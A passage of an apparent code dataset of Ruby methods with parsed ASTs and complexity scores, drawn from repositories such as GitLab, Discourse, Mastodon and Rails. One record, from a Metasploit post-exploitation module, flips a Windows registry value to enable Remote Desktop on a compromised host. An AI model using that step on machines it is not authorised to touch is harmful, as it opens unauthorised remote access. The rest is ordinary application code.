hildren\":[\"temp_printer\"]},\"skipped_arguments\"]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@printed_arguments\"]},\"|\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"temp_printer\"]},\"printed_arguments\"]}]},{\"type\":\"lvasgn\",\"children\":[\"vars\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"variables\"]},\"reject\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@skipped_arguments\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@printed_arguments\"]},\"exclude?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"name\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_string\",{\"type\":\"str\",\"children\":[\"(\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"each_with_index\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"v\"]},{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_variable_definition\",{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vars\"]},\"size\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[null,\"print_string\",{\"type\":\"str\",\"children\":[\", \"]}]},null]}]}]},{\"type\":\"send\",\"children\":[null,\"print_string\",{\"type\":\"str\",\"children\":[\")\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_directives\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"directives\"]}]},{\"type\":\"send\",\"children\":[null,\"print_selections\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"op\"]},\"selections\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"indent\"]},{\"type\":\"lvar\",\"children\":[\"indent\"]}]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@in_operation\",{\"type\":\"false\",\"children\":[]}]}]}]}","id":"67f25af6-fe2f-4c52-8835-fe2d670adeb6"} {"repo_name":"mastodon","file_path":"./repos/mastodon/app/mailers/concerns/bulk_mail_settings_concern.rb","start_line":9,"raw_source":"def use_bulk_mail_delivery_settings\n return if bulk_mail_configuration&.dig(:smtp_settings, :address).blank?\n\n mail.delivery_method.settings = convert_smtp_settings(bulk_mail_configuration[:smtp_settings])\n end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"use_bulk_mail_delivery_settings\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_mail_configuration\"]},\"dig\",{\"type\":\"sym\",\"children\":[\"smtp_settings\"]},{\"type\":\"sym\",\"children\":[\"address\"]}]},\"blank?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"mail\"]},\"delivery_method\"]},\"settings=\",{\"type\":\"send\",\"children\":[null,\"convert_smtp_settings\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"bulk_mail_configuration\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"smtp_settings\"]}]}]}]}]}]}","id":"1e07048e-6453-417b-80db-4dd697644022"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/manage/enable_rdp.rb","start_line":80,"raw_source":"def enablerd(cleanup_rc)\n key = 'HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server'\n value = 'fDenyTSConnections'\n begin\n v = registry_getvaldata(key, value)\n print_status 'Enabling Remote Desktop'\n if v == 1\n print_status \"\\tRDP is disabled; enabling it ...\"\n registry_setvaldata(key, value, 0, 'REG_DWORD')\n file_local_write(cleanup_rc, \"reg setval -k \\'HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\' -v 'fDenyTSConnections' -d \\\"1\\\"\")\n else\n print_status \"\\tRDP is already enabled\"\n end\n rescue StandardError => e\n print_status(\"The following error was encountered: #{e.class} #{e}\")\n end\n end","complexity_score":18.35,"ast_json":"{\"type\":\"def\",\"children\":[\"enablerd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cleanup_rc\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"key\",{\"type\":\"str\",\"children\":[\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\"]}]},{\"type\":\"lvasgn\",\"children\":[\"value\",{\"type\":\"str\",\"children\":[\"fDenyTSConnections\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Enabling Remote Desktop\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"==\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\\tRDP is disabled; enabling it ...\"]}]},{\"type\":\"send\",\"children\":[null,\"registry_setvaldata\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"str\",\"children\":[\"REG_DWORD\"]}]},{\"type\":\"send\",\"children\":[null,\"file_local_write\",{\"type\":\"lvar\",\"children\":[\"cleanup_rc\"]},{\"type\":\"str\",\"children\":[\"reg setval -k 'HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server' -v 'fDenyTSConnections' -d \\\"1\\\"\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"\\tRDP is already enabled\"]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The following error was encountered: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"class\"]}]},{\"type\":\"str\",\"children\":[\" \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]}]},null]}]}]}]}","id":"ef32c363-05c3-4dda-8a35-6dc8dc52cab0"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/frontend/fixtures/issues.rb","start_line":48,"raw_source":"def get_related_merge_requests(project_id, issue_iid, user = nil)\n get api(\"/projects/#{project_id}/issues/#{issue_iid}/related_merge_requests\", user)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_related_merge_requests\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"issue_iid\"]},{\"type\":\"optarg\",\"children\":[\"user\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"get\",{\"type\":\"send\",\"children\":[null,\"api\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/projects/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_id\"]}]},{\"type\":\"str\",\"children\":[\"/issues/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue_iid\"]}]},{\"type\":\"str\",\"children\":[\"/related_merge_requests\"]}]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}","id":"7b19499e-0d7e-4d28-87ae-4b939e5e717e"} {"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/nodebb/redis.rb","start_line":77,"raw_source":"def topic_count\n redis.zcard(\"topics:tid\")\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"topic_count\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"redis\"]},\"zcard\",{\"type\":\"str\",\"children\":[\"topics:tid\"]}]}]}","id":"5f4fd913-b67c-4f84-9194-4865af0d4467"} {"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/build_ios_app.rb","start_line":13,"raw_source":"def self.run(params)\n # Adding reject options back in so gym has everything it needs\n params.available_options += Gym::Options.available_options.select do |option|\n REJECT_OPTIONS.include?(option.key)\n end\n\n # Defaulting to ios specific values\n params[:catalyst_platform] = \"ios\"\n\n super(params)\n end","complexity_score":7.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"run\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"op_asgn\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"available_options\"]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gym\"]},\"Options\"]},\"available_options\"]},\"select\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"REJECT_OPTIONS\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},\"key\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"catalyst_platform\"]},{\"type\":\"str\",\"children\":[\"ios\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}","id":"d6b352b9-2f03-4f5e-af68-71134355f866"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/utils/diff_utils/simple_diff.rb","start_line":124,"raw_source":"def levenshtein_distance(s1, s2)\n m = s1.length\n n = s2.length\n d = Array.new(m + 1) { Array.new(n + 1, 0) }\n\n (0..m).each { |i| d[i][0] = i }\n (0..n).each { |j| d[0][j] = j }\n\n (1..m).each do |i|\n (1..n).each do |j|\n cost = s1[i - 1] == s2[j - 1] ? 0 : 1\n d[i][j] = [d[i - 1][j] + 1, d[i][j - 1] + 1, d[i - 1][j - 1] + cost].min\n end\n end\n\n d[m][n]\n end","complexity_score":68.6,"ast_json":"{\"type\":\"def\",\"children\":[\"levenshtein_distance\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"s1\"]},{\"type\":\"arg\",\"children\":[\"s2\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"m\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"n\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"length\"]}]},{\"type\":\"lvasgn\",\"children\":[\"d\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"n\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"int\",\"children\":[0]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"[]=\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"i\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"lvar\",\"children\":[\"j\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"m\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"i\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"lvar\",\"children\":[\"n\"]}]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"j\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cost\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s1\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"==\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s2\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"j\"]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"j\"]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"i\"]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"i\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"j\"]},\"-\",{\"type\":\"int\",\"children\":[1]}]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"cost\"]}]}]},\"min\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"d\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"m\"]}]},\"[]\",{\"type\":\"lvar\",\"children\":[\"n\"]}]}]}]}","id":"6ea598de-ccb3-41d5-a8a1-fd67af91fc90"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/lib/gitlab/background_migration/backfill_partitioned_uploads_spec.rb","start_line":424,"raw_source":"def create_organization\n suffix = SecureRandom.base64\n organizations.create!(name: 'Organization', path: \"organization-#{suffix}\")\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_organization\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"suffix\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SecureRandom\"]},\"base64\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"organizations\"]},\"create!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"Organization\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"organization-\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"suffix\"]}]}]}]}]}]}]}]}","id":"e92fb95e-b67f-4cd7-8b51-69b9d1f2c714"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/app/services/problem_check/ai_credit_soft_limit.rb","start_line":35,"raw_source":"def soft_limit_problem(model, allocation)\n override_data = {\n model_id: model.id,\n model_name: model.display_name,\n percentage_remaining: allocation.percentage_remaining.round,\n reset_date: format_reset_date(allocation.next_reset_at),\n url: \"#{Discourse.base_path}/admin/plugins/discourse-ai/ai-llms\",\n }\n\n problem(model, override_data:)\n end","complexity_score":9.4,"ast_json":"{\"type\":\"def\",\"children\":[\"soft_limit_problem\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]},{\"type\":\"arg\",\"children\":[\"allocation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"override_data\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"display_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"percentage_remaining\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allocation\"]},\"percentage_remaining\"]},\"round\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reset_date\"]},{\"type\":\"send\",\"children\":[null,\"format_reset_date\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"allocation\"]},\"next_reset_at\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"base_path\"]}]},{\"type\":\"str\",\"children\":[\"/admin/plugins/discourse-ai/ai-llms\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"problem\",{\"type\":\"lvar\",\"children\":[\"model\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"override_data\"]},{\"type\":\"lvar\",\"children\":[\"override_data\"]}]}]}]}]}]}","id":"15ebbd13-7435-496f-89c6-8b30fdb3b5ea"} {"repo_name":"openproject","file_path":"./repos/openproject/app/models/queries/projects/filters/filter_on_project_phase.rb","start_line":141,"raw_source":"def today\n Time.zone.today\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"today\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"zone\"]},\"today\"]}]}","id":"b54b4c34-77b1-4ba8-810b-e4a23d9c4c03"} {"repo_name":"openproject","file_path":"./repos/openproject/modules/meeting/app/components/recurring_meetings/row_component.rb","start_line":51,"raw_source":"def start_time\n if instantiated?\n link_to start_time_title, project_meeting_path(project, meeting)\n else\n start_time_title\n end\n end","complexity_score":9.8,"ast_json":"{\"type\":\"def\",\"children\":[\"start_time\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"instantiated?\"]},{\"type\":\"send\",\"children\":[null,\"link_to\",{\"type\":\"send\",\"children\":[null,\"start_time_title\"]},{\"type\":\"send\",\"children\":[null,\"project_meeting_path\",{\"type\":\"send\",\"children\":[null,\"project\"]},{\"type\":\"send\",\"children\":[null,\"meeting\"]}]}]},{\"type\":\"send\",\"children\":[null,\"start_time_title\"]}]}]}","id":"3185f7a9-7a7b-4ac6-8312-cc88b6a978ef"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/group.rb","start_line":697,"raw_source":"def owned_by?(user)\n return false unless user\n\n non_invite_owner_members.exists?(user: user)\n end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"owned_by?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"non_invite_owner_members\"]},\"exists?\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]}","id":"38620655-8589-4a40-853e-461115731f32"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/legacy_github_import/issuable_formatter.rb","start_line":66,"raw_source":"def assignee_id\n return @assignee_id if defined?(@assignee_id)\n\n @assignee_id = assignee.try(:gitlab_id)\n end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"assignee_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assignee_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@assignee_id\"]}]},null]},{\"type\":\"ivasgn\",\"children\":[\"@assignee_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assignee\"]},\"try\",{\"type\":\"sym\",\"children\":[\"gitlab_id\"]}]}]}]}]}","id":"fd98a720-edcb-4197-81af-802d9a83e872"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/user_finder.rb","start_line":54,"raw_source":"def author_id_for(object, author_key: :author)\n user_info = case author_key\n when :actor\n object[:actor]\n when :review_requester\n object[:review_requester]\n else\n object ? object[:author] : nil\n end\n\n # TODO when improved user mapping is released we can refactor everything below to just\n # user_id_for(user_info)\n id = user_id_for(user_info, ghost: true)\n\n if id\n [id, true]\n else\n [project.creator_id, false]\n end\n end","complexity_score":14.3,"ast_json":"{\"type\":\"def\",\"children\":[\"author_id_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]},{\"type\":\"kwoptarg\",\"children\":[\"author_key\",{\"type\":\"sym\",\"children\":[\"author\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_info\",{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"author_key\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"actor\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"actor\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"review_requester\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"review_requester\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author\"]}]},{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"id\",{\"type\":\"send\",\"children\":[null,\"user_id_for\",{\"type\":\"lvar\",\"children\":[\"user_info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ghost\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"id\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"creator_id\"]},{\"type\":\"false\",\"children\":[]}]}]}]}]}","id":"aacb651e-e755-4690-9c95-6c5c5008ea92"} {"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/min_branches_count.rb","start_line":29,"raw_source":"def if_conditional_branches(node, branches = [])\n return [] if node.nil? || !node.if_type?\n\n branches << node.if_branch\n\n else_branch = node.else_branch\n if_conditional_branches(else_branch, branches) if else_branch&.if_type?\n branches\n end","complexity_score":13.8,"ast_json":"{\"type\":\"def\",\"children\":[\"if_conditional_branches\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"optarg\",\"children\":[\"branches\",{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_type?\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"branches\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"if_branch\"]}]},{\"type\":\"lvasgn\",\"children\":[\"else_branch\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"else_branch\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"else_branch\"]},\"if_type?\"]},{\"type\":\"send\",\"children\":[null,\"if_conditional_branches\",{\"type\":\"lvar\",\"children\":[\"else_branch\"]},{\"type\":\"lvar\",\"children\":[\"branches\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"branches\"]}]}]}","id":"86696d3f-d42e-45e7-b14a-d8198fd8868a"} {"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_dispatch/testing/integration.rb","start_line":114,"raw_source":"def cookies\n _mock_session.cookie_jar\n 